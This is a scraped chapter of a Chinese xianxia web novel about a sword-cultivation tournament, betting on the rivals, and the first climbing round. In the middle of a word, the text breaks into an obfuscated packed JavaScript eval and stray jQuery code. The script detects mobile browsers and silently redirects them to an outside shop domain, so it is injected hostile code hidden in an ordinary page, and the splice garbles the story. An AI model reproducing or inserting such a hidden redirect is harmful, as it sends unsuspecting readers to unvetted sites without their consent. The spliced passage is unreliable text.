两年来历经层层遴选与复较，最终入围道门大比正赛的修士无一不是各派各家中出类拔萃的俊杰。单是剑修一途，便足有上百之众，个个榜上有名，称得上一代天骄。
海选与小选是在九大主城各自举行，正赛则集中在中原洛阳。盖因此地阴阳二气最为谐和，不偏不倚，无论什么功体的修士，都能各展所长，无有掣肘。
九大道途分设九处擂台，其中剑修一道独占天柱山。此山雄峙中原腹地，孤峰擎天，正合剑修孤高凌厉、一往无前的气概。
雀鸟司参赛和凑热闹的诸人由副令主橘怀袖统率，在大比前三日抵达天柱山。山下早已修士云集，各处别院、洞府鳞次栉比。雀鸟司事先遣人来此盘下了一处灵气极佳的幽静别院，清幽阔绰，橘怀袖率众人入驻，安排妥当。
不多时，谢氏子弟的飞舆也浩浩荡荡从东南方向飞来，打头的便是谢婴麟，今日他自然装饰了一番，一副谦谦君子温润如玉的做派。安顿好自家亲眷子侄后，又带着一帮人四下游走交际，花孔雀一般。
橘怀袖兀自盘坐在别院中一块巨石上，专注修炼。突然一只冰凉的手抚过他的脖颈，滑腻腻的触感像一条小蛇。橘怀袖一把攥住还在继续往衣襟里探的手，斜睨过去：“不怕被坐实是断袖？”
谢婴麟收回手，顺道挑了一下橘怀袖的下巴：“本令主向来事无不可对人言。”
“说点有用的。”
“有用的啊......”谢婴麟靠到他肩上，“这些人，都没什么用。凡俗之辈，不足为惧。”
“梁雨星和乌清婉呢？”
“都到了，没了头上压着的两座大山，两人正摩拳擦掌。”
“你呢？”
“我？”谢婴麟捻起橘怀袖的一缕鬓发闻了闻，笑眯眯地说：“我就等着和秀秀一决胜负呢。”
橘怀袖拍开他的手：“那就去备战。”
“不差这一会儿，走，跟为兄一起去赌坊看看，买一注凑个趣。”
因为同时举办九类道途的大比，赌坊开设了无数分局，遍布全城，开的盘口分类也十分精细。谢婴麟领着橘怀袖来到一家赌坊。为了避人耳目，两人走的是贵客通道，直接进了包厢。楼下一堆修士正凑在一处分析初赛的赔率，讨论要投谁。
刚坐下，橘怀袖就听到陆羡君那个大嗓门正在下面嚷嚷：
“这还用想？谢令主！必须是谢令主！你们看看这几年我家令主的战绩，再看看谢氏的底蕴，这盘口开我家令主独赢，简直是捡钱！”
有人扬声反驳：“用得着这么吹？赌坊也很看好橘令主，赔率根本没差多少。”
“你懂什么！”陆羡君急了，嗓门又大了几分，“谢令主的剑法那是家学渊源，堂堂谢氏少主，从小浸淫的能差了吗？赔率摆在那里，那橘怀——橘令主，呃——”
他顿了顿，声音小了下去：“……你们这些人，根本不懂欣赏！懒得跟你们掰扯。”
橘怀袖一边拉上窗一边道：“你要是输了，这小子不得赔个倾家荡产？”
谢婴麟摇着折扇：“就冲这份信任，为兄也得全力以赴呀。”
赌坊侍从为二人斟好茶，躬身问道：“二位贵客可需推演师前来模拟对阵概率？本坊有数算大家坐镇，推演结果向来精准。”
谢婴麟道：“不必，我要定制盘口。就赌南海的海渊会会长孟海潮，与蛟龙帮帮主焦烈，能否分别夺得本届驭灵与枪道之首。”
侍从点取出随身携带的玉简录下内容：“贵客是要设独赢盘，还是捆绑盘？”
谢婴麟看向对面的橘怀袖：“秀秀，你要不要也添一股？”
“你当真要赌？”
“怎么，不敢？”
橘怀袖冷笑：“赌啊。我赌他们会输。”
谢婴麟挑眉：“哦？秀秀不相信我那个预言梦么？”
“既然是给你的预言，自然要留给你，”橘怀袖说，“我和他们又不熟，凭什么把灵石押给他们？”
谢婴麟笑了笑，对侍从道：“那便如此开盘。”
侍从点头，先拨弄了几下算筹，慎重道：“二位贵客，孟会长与焦帮主皆为本届热门，按本坊推演，二人各自的胜算约六成。因此他们的单人盘，胜者一赔一点六；败者一赔二点四。若捆绑为同一盘口，二人皆夺冠，概率约三成半，赔率为一赔二点七；二人皆败，概率约两成，赔率一赔四点七。不知贵客意下如何？”
谢婴麟道：“皆胜之盘，一赔三，我要下注。”
侍从提醒他：“贵客，捆绑盘风险极大，若其中一人失手，全盘皆输。确认下注吗？”
“无妨。”
“敢问下注多少？”
一枚灵币凭空出现在侍从面前，侍从小心翼翼地接过，在玉简上录下数字：“一灵币当一万上品灵石。已录，皆胜盘，一赔三，下注一万上品灵石。”
谢婴麟点点头，又看向橘怀袖：“秀秀呢？”
橘怀袖手指一搓，指尖出现一枚一模一样的灵币，放到桌上：“皆败盘。”
侍从再录一笔，躬身道：“二位贵客的盘口已生效，本坊将在大比结束后按实际结果结算，届时凭此玉简副券兑付。
谢婴麟啧啧道：“秀秀好大的手笔。”
橘怀袖不为所动：“从你乾坤袋里摸的。”
谢婴麟哈哈一笑：“巧了，我那枚也是从你书桌上借的。”
初赛这日，满城赌坊天未亮便已人声鼎沸。
九大道途的大比虽在同日开幕，但今日最先开战的，是剑修。依照十方道会排定的章程，其余八道都要等剑修这边结束初赛后，才能陆续鸣钟。故而满城赌坊今日几乎全盯着天柱山，连押别道的赌客也先挤进剑修的堂口，想看看这最热闹的头场究竟如何。
赛制早在半月前就已张榜公布：初赛名为“登山破障”。三百四十名参赛的剑修从山脚同时出发，限一个时辰内登顶。沿途设三道关卡：剑阵林、剑气瀑、心魔崖。率先抵达山顶的前三十人晋级。途中可以互相干扰，但不得杀人，不允许使用剑以外的法器、符箓、阵法等，违者取消资格。
各家赌坊的大堂正中都嵌了巨大的水镜，那是花大价钱从天柱山脚下接引的映影，可将山道上的情形看得一清二楚。四面墙上还挂着稍小的副镜，分别对准剑阵林、剑气瀑、心魔崖几处险隘，方便赌客们看清各自押注之人的动向。
开幕仪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782160|205651||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
式还没开始，赌客们已经在大堂里围得水泄不通，手里攥着注码牌，紧盯着水镜中的雾气，等它散去。
“听说今年剑修的初赛最是凶险，那三道关卡，一道比一道难。”
“凶险才好，凶险才看得准谁是真材实料。你看赔率没？谢令主和橘令主是头两号热门，上一届的那二位也不容小觑……”
话音未落，庄严的钟声从天柱山远远传来，在全城上空回荡。
十方道会的会长发言结束后，还有祭文和剑舞表演，但赌客们哪里看得进去？只盼着这些繁虚礼早些结束，赶紧开始上正菜。
终于，一声钟响。
天柱山脚下，三百四十名剑修同时拔剑出鞘。山道险峻，竹影森森，第一道关卡剑阵林的剑气已经蓄势待发。
洛阳城最大的赌坊大堂上，正坐着一名修士充当观局评客，给在场客人们点评赛况：“诸君请看！冲在最前的是上届第三梁雨星，好快的剑！纵入剑林的同时连破七柄飞剑，这份凌厉，不愧三届元老！”
“紧随其后的是雀鸟司副令主橘怀袖。哦？他竟然并未出手，而是借梁雨星的剑势开道，真气分毫未耗。这手借力的策略实在是精妙，不仅能留存实力以应付后面的关隘，还能不漏底牌，高！”
“再看后阵，上届第四乌清婉出手了！三剑连发，只见她的剑气如灵蛇出洞，直缠橘怀袖身后的几名修士，硬生生将人逼退。力道拿捏极准，只伤不杀，极有分寸！押乌仙子是本场赛事第一位出手的贵客，此刻怕是已在偷笑！”
“水镜转到谢氏少主，这位天之骄子自出发便不紧不慢，步伐从容，如信步闲庭——嗯？怎么突然纵身起飞——啊，谢令主是摘了一朵竹花？诸位有所不知，此竹花百年一开，一旦开花便将全株枯萎。有诗为证：焚却此身成劫火，碧天应笑后来人。旁人在争分夺秒，谢令主却在赏花，这份闲庭信步，若非胸有成竹，便是真将胜负置之度外了。不知诸位如何看？”
“让我们回到前列，剑阵林出口已在眼前，好！梁雨星夺得第一名！紧随其后的是橘怀袖，几乎同时踏出，分毫不差！精彩！”
第一小关刚结束，所有人都齐刷刷抬起头。
水镜两旁的公示玉牌上，记录着两项关键盘口的赔率——夺冠赔率与初赛头名赔率。排在最前面的四个人自然是本届的大热门，此时一串串数字接连跳动，半晌才稳定，就见梁雨星和橘怀袖的赔率略有下降，乌清婉小升，变化最大的是谢婴麟，比排在后面的修士涨幅还大，显然庄家对谢少主的散漫态度开始持观望态度。
观局评客稳坐高台，悠悠笑道：“谢令主这朵竹花可真是价值连城。短短半盏茶功夫，叫自己的夺冠赔率涨了快四成，头名赔率直接翻了个跟头。有胆识的朋友现在押他，说不定能搏个大富贵。不过容在下多嘴一句：雀鸟司的令主，真会拿自己的名声瞎胡闹吗？”
赌场里有小小的躁动，有人在叹气，有人在偷笑。柜台处一阵热闹，一小撮赌客正举着赌筹挤在兑换窗口前。他们押的是第一小关第一个通过者的盘口，当梁雨星第一个踏出竹林的那一刻，这个盘口就已封盘结算。此刻他们提着沉甸甸的红包回来，引得旁边不少人眼红。